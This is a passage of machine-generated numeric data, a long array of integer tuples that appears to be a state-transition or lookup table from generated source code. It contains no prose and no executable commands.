{0,{2646,2646,2647,2646}}, {0,{2654,2646,2647,2646}}, {0,{2655,2655,2655,2655}}, {0,{2656,2666,2673,2666}}, {0,{2657,813,813,813}}, {0,{809,809,809,2658}}, {0,{810,810,810,2659}}, {0,{788,788,788,2660}}, {0,{2661,2661,2661,2613}}, {0,{2662,790,790,790}}, {302,{2663,2663,2663,2663}}, {0,{2664,2616,2665,2616}}, {304,{2617,2617,2617,2617}}, {305,{2617,2617,2617,2617}}, {0,{2667,813,813,813}}, {0,{809,809,809,2668}}, {0,{810,810,810,2669}}, {0,{788,788,788,2670}}, {0,{2671,2671,2671,2642}}, {0,{2672,790,790,790}}, {306,{791,791,791,791}}, {308,{2657,813,813,813}}, {0,{2675,708,709,708}}, {0,{2652,2652,2652,2652}}, {0,{2677,2706,2706,2707}}, {0,{2678,2704,1207,1193}}, {0,{708,708,2679,708}}, {0,{2680,2680,2680,460}}, {0,{2681,2681,2701,0}}, {0,{2682,2682,2682,2682}}, {0,{2683,2683,2683,0}}, {0,{2684,2684,2684,2684}}, {0,{0,0,0,2685}}, {0,{2686,0,0,0}}, {0,{2687,0,0,0}}, {0,{2688,0,0,0}}, {0,{2689,2689,2689,2689}}, {0,{2690,2690,2690,2690}}, {0,{2691,2691,2691,0}}, {0,{2692,2692,2692,2692}}, {0,{2693,2693,2693,2693}}, {0,{2694,2694,2694,2694}}, {0,{2695,2695,2695,2695}}, {0,{2696,2696,2696,2696}}, {0,{0,0,0,2697}}, {0,{0,0,0,2698}}, {0,{0,0,0,2699}}, {0,{2700,0,0,0}}, {309,{0,0,0,0}}, {0,{2702,2702,2702,2702}}, {0,{2683,2683,2703,0}}, {310,{2684,2684,2684,2684}}, {311,{2705,2448,2448,2448}}, {312,{2449,2449,2449,2449}}, {0,{1193,2704,1207,1193}}, {0,{2708,2704,1207,1193}}, {0,{2571,2571,2571,2571}}, {0,{2710,2826,2826,2834}}, {0,{2711,2802,1207,1193}}, {0,{2712,2776,2780,708}}, {0,{2713,2747,2751,2775}}, {0,{2714,2740,461,0}}, {0,{2715,2715,2715,2715}}, {0,{0,2716,0,0}}, {0,{2717,2717,2722,2717}}, {0,{0,0,0,2718}}, {0,{2719,0,0,0}}, {0,{2720,0,0,0}}, {0,{2721,0,0,0}}, {313,{0,0,0,0}}, {0,{0,0,0,2723}}, {0,{2724,0,0,0}}, {0,{2725,0,0,0}}, {0,{2726,0,0,0}}, {314,{2727,0,0,0}}, {0,{2728,2728,2728,2728}}, {0,{2729,2729,2729,0}}, {0,{2730,2730,2730,2730}}, {0,{2731,2731,2731,2731}}, {0,{2732,2732,2732,2732}}, {0,{0,2733,0,0}}, {0,{2734,2734,2734,2734}}, {0,{0,0,0,2735}}, {0,{0,0,0,2736}}, {0,{0,0,0,2737}}, {0,{2738,0,0,0}}, {0,{2739,0,0,0}}, {315,{0,0,0,0}}, {0,{2741,2741,2741,2741}}, {0,{2742,2742,2742,0}}, {0,{2743,2743,2743,2743}}, {0,{0,0,0,2744}}, {0,{2745,0,0,0}}, {0,{2746,0,0,0}}, {316,{0,0,0,0}}, {0,{2748,2740,461,0}}, {0,{2749,2749,2749,2749}}, {0,{0,2750,0,0}}, {0,{2717,2717,2717,2717}}, {0,{2752,2765,2772,0}}, {0,{2753,2753,2753,2753}}, {0,{2754,2760,2754,0}}, {0,{2755,2755,2755,2755}}, {0,{2756,2756,2756,2756}}, {0,{2757,2757,2757,2757}}, {0,{2758,2758,2758,2758}}, {0,{0,0,2759,0}}, {317,{0,0,0,0}}, {0,{2761,2761,2761,2761}}, {0,{2756,2756,2756,2762}}, {0,{2763,2757,2757,2757}}, {0,{2764,2758,2758,2758}}, {0,{2721,0,2759,0}}, {0,{2766,2766,2766,2766}}, {0,{2767,2767,2767,0}}, {0,{2768,2768,2768,2768}}, {0,{2756,2756,2756,2769}}, {0,{2770,2757,2757,2757}}, {0,{2771,2758,2758,2758}}, {318,{0,0,2759,0}}, {0,{2773,2773,2773,2773}}, {0,{2754,2754,2774,0}}, {319,{2755,2755,2755,2755}}, {0,{0,2740,461,0}}, {0,{460,460,2777,460}}, {0,{2778,2778,2772,0}}, {0,{2779,2779,2779,2779}}, {0,{2754,2754,2754,0}}, {0,{2781,460,2777,460}}, {0,{2782,0,461,0}}, {0,{2783,2783,2783,2783}}, {0,{0,2784,0,0}}, {0,{2785,2785,2785,2785}}, {0,{0,0,0,2786}}, {0,{2787,0,0,0}}, {0,{2788,0,0,0}}, {0,{2789,0,0,0}}, {0,{2790,2790,2790,2790}}, {0,{2791,2791,2791,2791}}, {0,{2792,2792,0,0}}, {0,{2793,2793,2793,2793}}, {0,{2794,2794,2794,2794}}, {0,{2795,2795,2795,2795}}, {0,{2796,2796,2796,2796}}, {0,{2797,2797,2797,2797}}, {0,{0,0,0,2798}}, {0,{0,0,0,2799}}, {0,{0,0,0,2800}}, {0,{2801,0,0,0}}, {320,{0,0,0,0}}, {321,{2803,2448,2825,2448}}, {322,{2804,2822,2822,2822}}, {0,{2805,0,461,0}}, {323,{2806,2806,2806,2812}}, {324,{0,2807,0,0}}, {0,{2808,2808,2808,2808}}, {0,{0,0,0,2809}}, {0,{2810,0,0,0}}, {0,{2811,0,2811,0}}, {325,{0,0,0,0}}, {0,{2813,2807,0,0}}, {0,{2814,2814,2814,2814}}, {0,{2815,2815,2815,2815}}, {0,{2816,2816,2816,2816}}, {0,{2817,2817,2817,2817}}, {0,{2818,2818,2818,0}}, {0,{2819,2819,2819,2819}}, {0,{2820,2820,2820,2820}}, {0,{2821,0,0,0}}, {326,{0,0,0,0}}, {0,{2823,0,461,0}}, {327,{2806,2806,2806,2824}}, {0,{0,2807,0,0}}, {0,{2804,2822,2822,2822}}, {0,{2827,2828,1207,1193}}, {0,{2776,2776,2776,708}}, {328,{2829,2448,2833,2448}}, {329,{2830,2449,2449,2449}}, {0,{2831,0,461,0}}, {330,{2451,2451,2451,2832}}, {0,{2813,0,0,0}}, {0,{2830,2449,2449,2449}}, {0,{2835,2828,1207,1193}}, {0,{2836,2836,2836,2571}}, {0,{460,460,2837,460}}, {0,{2778,2778,2838,0}}, {0,{2839,2839,2839,2839}}, {0,{2840,2840,2846,2575}}, {0,{2841,2841,2841,2841}}, {0,{2756,2756,2756,2842}}, {0,{2757,2757,2757,2843}}, {0,{2758,2758,2758,2844}}, {0,{0,0,2845,0}}, {331,{2553,2553,2553,2553}}, {332,{2841,2841,2841,2841}}, {0,{2848,2848,2848,2852}}, {0,{0,2849,1307,0}}, {333,{2850,2850,2850,2850}}, {0,{2851,2851,2851,2851}}, {0,{2450,0,0,0}}, {0,{2853,2849,1307,0}}, {0,{2854,2854,2854,2854}}, {0,{0,0,2855,0}}, {0,{0,0,2856,0}}, {0,{2857,2857,2857,2857}}, {0,{2575,2575,2575,2575}}, {0,{2859,2879,2888,2915}}, {0,{2860,2860,2860,2866}}, {0,{2861,2864,2861,2861}}, {0,{2862,0,0,0}}, {0,{2863,2863,2863,2863}}, {0,{2437,2437,2437,2437}}, {334,{2865,0,0,0}}, {335,{2863,2863,2863,2863}}, {0,{2867,2874,2877,2877}}, {0,{2868,2854,2854,2854}}, {0,{2869,2869,2870,2869}}, {0,{2467,2467,2467,2467}}, {0,{2467,2467,2871,2467}}, {0,{2872,2872,2872,2872}}, {0,{2544,2561,2873,2561}}, {337,{2545,2556,2556,2556}}, {338,{2875,0,0,0}}, {339,{2876,2876,2876,2876}}, {0,{2646,2646,2646,2646}}, {0,{2878,0,0,0}}, {0,{2876,2876,2876,2876}}, {0,{2880,2886,2886,2887}}, {0,{2881,2884,0,0}}, {0,{0,0,2882,0}}, {0,{2883,2883,2883,0}}, {0,{2681,2681,2681,0}}, {340,{2885,0,0,0}}, {341,{0,0,0,0}}, {0,{0,2884,0,0}}, {0,{2853,2884,0,0}}, {0,{2889,2886,2886,2900}}, {0,{2890,2884,0,0}}, {0,{2891,0,0,0}}, {0,{2892,2892,2892,2892}}, {0,{2893,2893,2893,0}}, {0,{2894,2894,2894,2894}}, {0,{2895,2895,2895,0}}, {0,{2896,2896,2896,2896}}, {0,{0,0,0,2897}}, {0,{2898,0,0,0}}, {0,{2899,0,0,0}}, {342,{0,0,0,0}}, {0,{2901,2884,0,0}}, {0,{2902,2854,2854,2854}}, {0,{2903,0,2855,0}}, {0,{2904,0,2904,0}}, {0,{2905,2905,2905,2905}}, {0,{0,0,2906,0}}, {0,{2907,2907,2907,0}}, {0,{0,0,0,2908}}, {0,{0,0,0,2909}}, {0,{0,0,0,2910}}, {0,{2911,0,0,0}}, {0,{0,0,2912,0}}, {0,{2913,2913,2913,2913}}, {0,{2914,0,2914,0}}, {343,{0,0,0,0}}, {0,{2916,2916,2916,2918}}, {0,{0,2917,0,0}}, {344,{0,0,0,0}}, {0,{2853,2917,0,0}}, {0,{2859,2879,2920,2915}}, {0,{2886,2886,2886,2921}}, {0,{2922,2884,0,0}}, {0,{2854,2923,2854,2854}}, {0,{2924,0,2933,0}}, {0,{0,0,2925,0}}, {0,{2926,2926,2926,2926}}, {0,{2927,2927,2927,0}}, {0,{2928,2928,2928,2928}}, {0,{0,0,0,2929}}, {0,{0,0,0,2930}}, {0,{0,0,0,2931}}, {0,{0,0,2932,0}}, {345,{0,0,0,0}}, {0,{0,0,2934,0}}, {0,{2935,2935,2935,2935}}, {0,{2936,2936,2936,2575}}, {0,{2937,2937,2937,2937}}, {0,{0,0,0,2938}}, {0,{0,0,0,2939}}, {0,{0,0,0,2940}}, {0,{0,0,2941,0}}, {346,{2553,2553,2553,2553}}, {0,{2943,2957,2957,2958}}, {0,{2886,2886,2886,2944}}, {0,{2945,2950,2955,2955}}, {0,{2946,0,0,0}}, {0,{2947,2947,2947,2947}}, {0,{2948,2948,2948,2948}}, {0,{2949,2949,2949,2949}}, {0,{2525,2525,2525,2525}}, {347,{2951,0,0,0}}, {348,{2952,2952,2952,2952}}, {0,{2953,2953,2953,2953}}, {0,{2954,2954,2954,2954}}, {0,{2637,2637,2637,2637}}, {0,{2956,0,0,0}}, {0,{2952,2952,2952,2952}}, {0,{2886,2886,2886,2886}}, {0,{2916,2916,2916,2916}}, {0,{2960,3059,3073,3074}}, {0,{2961,2968,2972,0}}, {0,{2962,2962,2962,2965}}, {0,{2434,2963,2434,2434}}, {0,{2964,708,709,708}}, {349,{2436,2436,2436,2436}}, {0,{2674,2966,2674,2674}}, {0,{2967,708,709,708}}, {350,{2652,2652,2652,2652}}, {0,{2969,2969,2969,2969}}, {0,{1193,2970,1193,1193}}, {0,{2971,708,708,708}}, {351,{460,460,460,460}}, {0,{2973,2969,2969,2969}}, {0,{2974,2970,3035,1193}}, {0,{708,708,2975,708}}, {0,{2976,460,460,460}}, {0,{2977,2977,461,0}}, {0,{2978,2978,0,0}}, {0,{0,2979,0,0}}, {0,{2980,0,0,0}}, {0,{2981,0,0,0}}, {0,{2982,0,0,0}}, {0,{2983,0,0,0}}, {0,{2984,0,0,0}}, {0,{2985,0,0,0}}, {0,{2986,2986,0,0}}, {0,{2987,2987,0,0}}, {0,{2988,2988,2988,0}}, {0,{2989,2989,2989,2989}}, {0,{2990,0,0,0}}, {0,{2991,0,0,0}}, {0,{0,0,0,2992}}, {0,{0,0,0,2993}}, {0,{2994,0,0,0}}, {0,{2995,0,0,0}}, {0,{2996,0,0,0}}, {0,{2997,0,0,0}}, {0,{0,2998,0,0}}, {0,{0,0,0,2999}}, {0,{3000,3000,3000,3000}}, {0,{3001,3001,3001,0}}, {0,{3002,3002,3002,0}}, {0,{3003,3003,3003,3003}}, {0,{3004,3004,3004,3004}}, {0,{3005,3005,3005,3005}}, {0,{3006,0,0,0}}, {0,{0,0,0,3007}}, {0,{0,0,0,3008}}, {0,{0,0,0,3009}}, {0,{0,0,0,3010}}, {0,{0,0,0,3011}}, {0,{3012,0,0,0}}, {0,{3013,0,0,0}}, {0,{3014,0,0,0}}, {0,{0,0,0,3015}}, {0,{3016,3016,3016,3016}}, {0,{0,0,0,3017}}, {0,{3018,3018,3018,3018}}, {0,{3019,3019,3019,3019}}, {0,{3020,3020,3020,0}}, {0,{3021,3021,3021,3021}}, {0,{3022,3022,3022,3022}}, {0,{3023,3023,3023,3023}}, {0,{3024,3024,3024,3024}}, {0,{3025,3025,3025,3025}}, {0,{0,0,0,3026}}, {0,{0,0,0,3027}}, {0,{0,0,0,3028}}, {0,{0,0,0,3029}}, {0,{0,0,0,3030}}, {0,{0,0,0,3031}}, {0,{0,0,0,3032}}, {0,{0,0,0,3033}}, {0,{3034,0,0,0}}, {352,{0,0,0,0}}, {0,{3036,708,708,708}}, {0,{3037,460,460,460}}, {0,{3038,0,461,0}}, {0,{3039,3039,3039,3039}}, {0,{0,3040,0,0}}, {0,{0,0,3041,0}}, {0,{0,0,0,3042}}, {0,{3043,0,0,0}}, {0,{3044,0,0,0}}, {0,{3045,0,0,0}}, {0,{3046,0,0,0}}, {0,{3047,3047,3047,3047}}, {0,{3048,0,0,0}}, {0,{3049,3049,3049,3049}}, {0,{3050,3050,3050,3050}}, {0,{3051,3051,3051,3051}}, {0,{0,3052,0,0}}, {0,{3053,3053,3053,3053}}, {0,{0,0,0,3054}}, {0,{0,0,0,3055}}, {0,{0,0,0,3056}}, {0,{3057,0,0,0}}, {0,{3058,0,0,0}}, {353,{0,0,0,0}}, {0,{3060,3065,3068,0}}, {0,{3061,3061,3061,3063}}, {0,{2861,3062,2861,2861}}, {0,{2865,0,0,0}}, {0,{2877,3064,2877,2877}}, {0,{2875,0,0,0}}, {0,{3066,3066,3066,3066}}, {0,{0,3067,0,0}}, {0,{2885,0,0,0}}, {0,{3069,3066,3066,3066}}, {0,{3070,3067,0,0}}, {0,{2891,0,3071,0}}, {0,{3072,0,0,0}}, {0,{2977,2977,0,0}}, {0,{3060,3065,3065,0}}, {0,{3075,3065,3065,0}}, {0,{3066,3066,3066,3076}}, {0,{2955,3077,2955,2955}}, {0,{2951,0,0,0}}, {0,{3079,3214,3296,3301}}, {0,{3080,3191,3195,0}}, {0,{3081,3132,3132,3133}}, {0,{3082,3118,3123,3130}}, {0,{3083,1822,1906,1822}}, {0,{3084,3084,3084,3084}}, {0,{2437,3085,2440,2437}}, {0,{3086,3086,3086,3086}}, {0,{3087,0,3117,0}}, {0,{3088,0,0,0}}, {0,{3089,3089,3089,3100}}, {0,{3090,3090,3090,3090}}, {0,{3091,3091,3091,3091}}, {0,{3092,3092,3092,3092}}, {0,{0,3093,0,0}}, {0,{3094,3094,3094,3094}}, {0,{3095,3095,3095,3095}}, {0,{3096,3096,3096,3096}}, {0,{3097,3097,3097,3097}}, {0,{3098,3098,3098,3098}}, {0,{3099,0,0,0}}, {354,{0,0,0,0}}, {0,{3101,3090,3090,3090}}, {0,{3102,3091,3091,3091}}, {0,{3103,3103,3103,3103}}, {0,{3104,3093,0,0}}, {0,{3105,3105,3105,3105}}, {0,{3106,3106,3106,3106}}, {0,{3107,3107,3107,3107}}, {0,{3108,3108,3108,3108}}, {0,{3109,3109,3109,3109}}, {0,{3110,3110,3110,0}}, {0,{3111,3111,3111,3111}}, {0,{0,0,0,3112}}, {0,{0,0,0,3113}}, {0,{0,0,0,3114}}, {0,{3115,3115,3115,3115}}, {0,{3116,0,0,0}}, {355,{0,0,0,0}}, {357,{0,0,0,0}}, {0,{3119,1822,1906,1822}}, {358,{3120,3120,3120,3120}}, {0,{2437,3121,2440,2437}}, {0,{3122,3122,3122,3122}}, {0,{0,0,3117,0}}, {0,{3124,1822,1906,1822}}, {0,{3125,3125,3125,3125}}, {0,{2437,3126,2440,2437}}, {0,{3127,3127,3127,3127}}, {0,{3128,0,3117,0}}, {0,{3129,0,0,0}}, {0,{3089,3089,3089,3089}}, {0,{3131,1822,1906,1822}}, {0,{3120,3120,3120,3120}}, {0,{3123,3118,3123,3130}}, {0,{3134,3155,3178,3189}}, {0,{3135,1822,1906,1822}}, {0,{3136,3146,3136,3136}}, {0,{2467,3137,2538,2467}}, {0,{3138,3138,3138,3138}}, {0,{3139,2525,3145,2525}}, {0,{3140,0,0,0}}, {0,{3089,3089,3089,3141}}, {0,{3090,3090,3090,3142}}, {0,{3091,3091,3091,3143}}, {0,{3144,3144,3144,3144}}, {0,{2475,3093,0,0}}, {361,{2470,0,0,0}}, {0,{2467,3137,3147,2467}}, {0,{3148,3148,3148,3148}}, {0,{3149,2525,2540,2525}}, {0,{2470,0,0,3150}}, {0,{0,0,0,3151}}, {0,{0,0,0,3152}}, {0,{0,0,0,3153}}, {0,{0,3154,0,0}}, {362,{0,0,0,0}}, {0,{3156,1822,1906,1822}}, {363,{3157,3161,3157,3157}}, {0,{2646,3158,2647,2646}}, {0,{3159,3159,3159,3159}}, {0,{2608,2637,3160,2637}}, {366,{2609,0,0,0}}, {0,{3162,3172,3175,3162}}, {0,{3163,3163,3163,3163}}, {0,{3164,3170,3171,3170}}, {0,{2609,0,0,3165}}, {0,{0,0,0,3166}}, {0,{0,0,0,3167}}, {0,{0,0,0,3168}}, {0,{3169,0,0,0}}, {367,{0,0,0,0}}, {0,{2638,0,0,3165}}, {369,{2609,0,0,3165}}, {0,{3173,3173,3173,3173}}, {0,{3164,3170,3174,3170}}, {372,{2609,0,0,3165}}, {0,{3176,3176,3176,3176}}, {0,{3164,3170,3177,3170}}, {375,{2609,0,0,3165}}, {0,{3179,1822,1906,1822}}, {0,{3180,3180,3180,3180}}, {0,{2646,3181,2647,2646}}, {0,{3182,3182,3182,3182}}, {0,{3183,2637,3160,2637}}, {0,{3184,0,0,0}}, {0,{3089,3089,3089,3185}}, {0,{3090,3090,3090,3186}}, {0,{3091,3091,3091,3187}}, {0,{3188,3188,3188,3188}}, {0,{2614,3093,0,0}}, {0,{3190,1822,1906,1822}}, {0,{3157,3157,3157,3157}}, {0,{3192,3192,3192,3192}}, {0,{2071,3193,2071,2071}}, {0,{3194,1822,1822,1822}}, {376,{1823,1823,1823,1823}}, {0,{3196,3196,3196,3196}}, {0,{3197,3193,2071,2071}}, {0,{3198,3198,3198,1822}}, {0,{3199,3199,1823,1823}}, {0,{0,3200,461,0}}, {0,{3201,1825,3201,1825}}, {0,{0,3202,1826,0}}, {0,{3203,3203,3203,3203}}, {0,{3204,3204,3204,3204}}, {0,{3205,3205,3205,3205}}, {0,{3206,3206,3206,3206}}, {0,{3207,3207,3207,0}}, {0,{3208,3208,3208,3208}}, {0,{3209,3209,3209,3209}}, {0,{3210,3210,3210,0}}, {0,{3211,0,3211,0}}, {0,{3212,3212,3212,3212}}, {0,{3213,0,3213,0}}, {377,{0,0,0,0}}, {0,{3215,3065,3270,0}}, {0,{3061,3061,3061,3216}}, {0,{3217,3267,2877,2877}}, {0,{3218,0,0,0}}, {0,{3219,3219,3219,3219}}, {0,{3220,3220,3220,2467}}, {0,{3221,3221,3221,3221}}, {0,{3222,2525,2537,2525}}, {0,{3223,0,0,0}}, {0,{0,0,0,3224}}, {0,{0,0,0,3225}}, {0,{0,0,0,3226}}, {0,{3227,3227,3227,3227}}, {0,{3228,0,0,0}}, {378,{3229,3229,3229,3229}}, {0,{3230,3230,3230,3230}}, {0,{3231,3231,3231,3231}}, {0,{3232,3232,3232,3232}}, {0,{3233,3233,3233,3233}}, {0,{3234,2524,3234,2524}}, {379,{3235,0,3251,0}}, {0,{0,0,0,3236}}, {0,{0,0,0,3237}}, {0,{0,0,0,3238}}, {0,{0,0,0,3239}}, {0,{0,0,0,3240}}, {0,{3241,3241,3241,3241}}, {0,{3242,0,0,0}}, {0,{3243,3243,3243,3243}}, {0,{3244,3244,3244,3244}}, {0,{3245,3245,3245,3245}}, {0,{3246,3246,3246,3246}}, {0,{3247,3247,3247,3247}}, {0,{3248,3248,3248,3248}}, {0,{3249,3249,3249,3249}}, {0,{3250,2508,3250,2508}}, {381,{2498,0,2498,0}}, {0,{0,0,0,3252}}, {0,{0,0,0,3253}}, {0,{0,0,0,3254}}, {0,{0,0,0,3255}}, {0,{0,0,0,3256}}, {0,{3257,3257,3257,3257}}, {0,{3258,0,0,0}}, {0,{3259,3259,3259,3259}}, {0,{3260,3260,3260,3260}}, {0,{3261,3261,3261,3261}}, {0,{3262,3262,3262,3262}}, {0,{3263,3263,3263,3263}}, {0,{3264,3264,3264,3264}}, {0,{3265,3265,3265,3265}}, {0,{3266,2508,3266,2508}}, {382,{2498,0,2498,0}}, {0,{3268,0,0,0}}, {383,{2876,3269,2876,2876}}, {0,{3162,3162,3162,3162}}, {0,{3271,3066,3271,3066}}, {0,{0,3272,0,0}}, {0,{3273,0,3295,0}}, {384,{3274,0,0,0}}, {0,{3275,0,0,0}}, {0,{3276,3276,3276,3276}}, {0,{0,3277,0,0}}, {0,{3278,3278,3278,3278}}, {0,{0,0,0,3279}}, {0,{3280,0,0,0}}, {0,{3281,0,3281,0}}, {0,{3282,0,0,0}}, {0,{3283,3283,3283,3283}}, {0,{3284,3284,3284,3284}}, {0,{3285,3285,3285,0}}, {0,{3286,3286,3286,3286}}, {0,{3287,3287,3287,3287}}, {0,{3288,3288,3288,3288}}, {0,{3289,3289,3289,3289}}, {0,{3290,3290,3290,3290}}, {0,{0,0,0,3291}}, {0,{0,0,0,3292}}, {0,{0,0,0,3293}}, {0,{3294,0,0,0}}, {385,{0,0,0,0}}, {0,{3274,0,0,0}}, {0,{3297,3065,3065,0}}, {0,{3061,3061,3061,3298}}, {0,{3299,3267,2877,2877}}, {0,{3300,0,0,0}}, {0,{2869,2869,2869,2869}}, {0,{3302,3065,3065,0}}, {0,{3066,3066,3066,3303}}, {0,{2945,3304,2955,2955}}, {0,{3305,0,0,0}}, {386,{2952,3306,2952,2952}}, {0,{3307,3307,3307,3307}}, {0,{3308,3308,3308,3308}}, {0,{3170,3170,3170,3170}}, {0,{3310,3316,3316,3320}}, {0,{3311,0,0,0}}, {0,{3312,3312,3312,3314}}, {0,{3313,3313,3313,3313}}, {0,{2862,0,2235,0}}, {0,{3315,3315,3315,3315}}, {0,{2878,0,2235,0}}, {0,{3317,0,0,0}}, {0,{3318,3318,3318,3319}}, {0,{2861,2861,2861,2861}}, {0,{2877,2877,2877,2877}}, {0,{3321,0,0,0}}, {0,{0,0,0,3322}}, {0,{2955,2955,2955,2955}}, {0,{3324,3324,3326,0}}, {0,{3325,0,0,0}}, {0,{2383,2383,2383,0}}, {0,{3327,0,0,0}}, {0,{2394,2394,2394,0}}, {0,{3329,13637,15642,17118}}, {0,{3330,11754,12623,13621}}, {0,{3331,9151,10805,11662}}, {0,{3332,8396,8737,9093}}, {0,{3333,7457,7600,7849}}, {0,{3334,6435,6672,7436}}, {0,{3335,5826,6335,6383}}, {0,{3336,5441,5628,5785}}, {0,{3337,4962,5302,5419}}, {0,{3338,4876,4899,4900}}, {0,{3339,4820,4820,4820}}, {0,{3340,4480,4768,4784}}, {0,{3341,3888,3891,3967}}, {0,{3342,3884,3887,3884}}, {0,{3343,3876,3876,3879}}, {0,{3344,3861,3866,3867}}, {0,{3345,3818,3842,3842}}, {0,{3346,3738,3738,3773}}, {0,{3347,3693,3737,3737}}, {0,{3348,3669,3692,3692}}, {0,{3349,3637,3637,3638}}, {0,{3350,3601,3636,3636}}, {0,{3351,3587,3600,3600}}, {0,{3352,3352,3352,3570}}, {0,{3353,3353,3353,3445}}, {0,{3354,3354,3354,3354}}, {0,{3355,3355,3355,3355}}, {0,{3356,3356,3356,3356}}, {0,{3357,3357,3357,3357}}, {0,{3358,3358,3358,3444}}, {0,{3359,3359,3359,3434}}, {0,{3360,3360,3360,3360}}, {0,{3361,3361,3431,0}}, {0,{3362,3430,0,0}}, {387,{3363,3429,3429,0}}, {0,{3364,3426,3364,3426}}, {0,{3365,0,0,0}}, {0,{3366,3424,0,0}}, {0,{3367,3367,3411,0}}, {0,{3368,3368,3368,3402}}, {0,{3369,3369,3369,3369}}, {0,{3370,3370,3370,3370}}, {0,{3371,3371,3371,3371}}, {0,{3372,3372,3372,3372}}, {0,{3373,3373,3373,3373}}, {0,{3374,3374,3374,3374}}, {0,{3375,3375,3375,3375}}, {0,{3376,3376,3376,3376}}, {0,{3377,3377,3377,3394}}, {0,{3378,3378,3378,3378}}, {0,{3379,3379,3379,3379}}, {0,{3380,3380,3392,0}}, {0,{3381,3381,3381,0}}, {0,{3382,3390,3382,3390}}, {0,{3383,3383,3383,3383}}, {0,{3384,3388,3384,3388}}, {0,{3385,3387,3387,0}}, {388,{3386,3386,0,0}}, {389,{0,0,0,0}}, {0,{3386,3386,0,0}}, {0,{3389,0,0,0}}, {390,{0,0,0,0}}, {0,{3391,3391,3391,3391}}, {0,{3388,3388,3388,3388}}, {0,{3393,3393,3393,0}}, {0,{3390,3390,3390,3390}}, {0,{3395,3395,3395,3395}}, {0,{3396,3396,3396,3396}}, {0,{3397,3397,0,0}}, {0,{3398,3398,3398,0}}, {0,{3399,0,3399,0}}, {0,{3400,3400,3400,3400}}, {0,{3401,0,3401,0}}, {0,{3387,3387,3387,0}}, {0,{3403,3403,3403,3403}}, {0,{3404,3404,3404,3404}}, {0,{3405,3405,3405,3405}}, {0,{3406,3406,3406,3406}}, {0,{3407,3407,3407,3407}}, {0,{3408,3408,3408,3408}}, {0,{3409,3409,3409,3409}}, {0,{3410,3410,3410,3410}}, {0,{3394,3394,3394,3394}}, {0,{3412,3412,3412,0}}, {0,{3413,3413,3413,3413}}, {0,{3414,3414,3414,3414}}, {0,{3415,3415,3415,3415}}, {0,{3416,3416,3416,3416}}, {0,{3417,3417,3417,3417}}, {0,{3418,3418,3418,3418}}, {0,{3419,3419,3419,3419}}, {0,{3420,3420,3420,3420}}, {0,{3421,3421,3421,0}}, {0,{3422,3422,3422,3422}}, {0,{3423,3423,3423,3423}}, {0,{3392,3392,3392,0}}, {0,{3425,3425,0,0}}, {0,{3402,3402,3402,3402}}, {0,{3427,0,0,0}}, {0,{3428,0,0,0}}, {0,{3411,3411,3411,0}}, {0,{3426,3426,3426,3426}}, {0,{3363,3429,3429,0}}, {0,{3432,3433,0,0}}, {391,{3429,3429,3429,0}}, {0,{3429,3429,3429,0}}, {0,{3435,3435,3435,3435}}, {0,{3436,3436,3442,0}}, {0,{3437,3441,0,0}}, {392,{3438,0,0,0}}, {0,{3439,0,3439,0}}, {0,{3440,0,0,0}}, {0,{3424,3424,0,0}}, {0,{3438,0,0,0}}, {0,{3443,0,0,0}}, {393,{0,0,0,0}}, {0,{3434,3434,3434,3434}}, {0,{3446,3354,3354,3354}}, {0,{3447,3447,3447,3447}}, {0,{3448,3356,3356,3356}}, {0,{3449,3449,3449,3449}}, {0,{3450,3358,3358,3444}}, {0,{3451,3451,3451,3560}}, {0,{3360,3360,3360,3452}}, {0,{3453,3453,3556,3559}}, {0,{3454,3554,3555,3555}}, {394,{3455,3551,3551,3552}}, {0,{3456,3548,3456,3548}}, {0,{3457,3547,3547,3547}}, {0,{3458,3544,3546,3546}}, {0,{3459,3459,3518,3543}}, {0,{3460,3460,3460,3509}}, {0,{3369,3369,3369,3461}}, {0,{3370,3370,3370,3462}}, {0,{3371,3371,3371,3463}}, {0,{3464,3372,3372,3372}}, {0,{3465,3465,3465,3465}}, {0,{3466,3374,3374,3374}}, {0,{3467,3467,3467,3467}}, {0,{3376,3376,3376,3468}}, {0,{3469,3469,3469,3501}}, {0,{3378,3378,3378,3470}}, {0,{3379,3379,3379,3471}}, {0,{3472,3472,3498,3500}}, {0,{3473,3473,3473,3494}}, {0,{3474,3492,3474,3492}}, {0,{3475,3475,3475,3475}}, {0,{3476,3490,3476,3490}}, {0,{3477,3488,3488,3489}}, {395,{3478,3478,3487,3487}}, {396,{3479,3479,3479,3479}}, {0,{3480,3480,3480,3480}}, {0,{0,0,0,3481}}, {0,{0,0,0,3482}}, {0,{0,0,0,3483}}, {0,{0,0,0,3484}}, {0,{0,0,0,3485}}, {0,{3486,0,0,0}}, {397,{0,0,0,0}}, {0,{3479,3479,3479,3479}}, {0,{3478,3478,3487,3487}}, {0,{3487,3487,3487,3487}}, {0,{3491,3489,3489,3489}}, {398,{3487,3487,3487,3487}}, {0,{3493,3493,3493,3493}}, {0,{3490,3490,3490,3490}}, {0,{3495,3495,3495,3495}}, {0,{3496,3496,3496,3496}}, {0,{3497,3497,3497,3497}}, {0,{3489,3489,3489,3489}}, {0,{3499,3499,3499,3494}}, {0,{3492,3492,3492,3492}}, {0,{3494,3494,3494,3494}}, {0,{3395,3395,3395,3502}}, {0,{3396,3396,3396,3503}}, {0,{3504,3504,3500,3500}}, {0,{3505,3505,3505,3494}}, {0,{3506,3495,3506,3495}}, {0,{3507,3507,3507,3507}}, {0,{3508,3497,3508,3497}}, {0,{3488,3488,3488,3489}}, {0,{3403,3403,3403,3510}}, {0,{3404,3404,3404,3511}}, {0,{3405,3405,3405,3512}}, {0,{3513,3406,3406,3406}}, {0,{3514,3514,3514,3514}}, {0,{3515,3408,3408,3408}}, {0,{3516,3516,3516,3516}}, {0,{3410,3410,3410,3517}}, {0,{3501,3501,3501,3501}}, {0,{3519,3519,3519,3534}}, {0,{3413,3413,3413,3520}}, {0,{3414,3414,3414,3521}}, {0,{3415,3415,3415,3522}}, {0,{3523,3416,3416,3416}}, {0,{3524,3524,3524,3524}}, {0,{3525,3418,3418,3418}}, {0,{3526,3526,3526,3526}}, {0,{3420,3420,3420,3527}}, {0,{3528,3528,3528,3531}}, {0,{3422,3422,3422,3529}}, {0,{3423,3423,3423,3530}}, {0,{3498,3498,3498,3500}}, {0,{0,0,0,3532}}, {0,{0,0,0,3533}}, {0,{3500,3500,3500,3500}}, {0,{0,0,0,3535}}, {0,{0,0,0,3536}}, {0,{0,0,0,3537}}, {0,{3538,0,0,0}}, {0,{3539,3539,3539,3539}}, {0,{3540,0,0,0}}, {0,{3541,3541,3541,3541}}, {0,{0,0,0,3542}}, 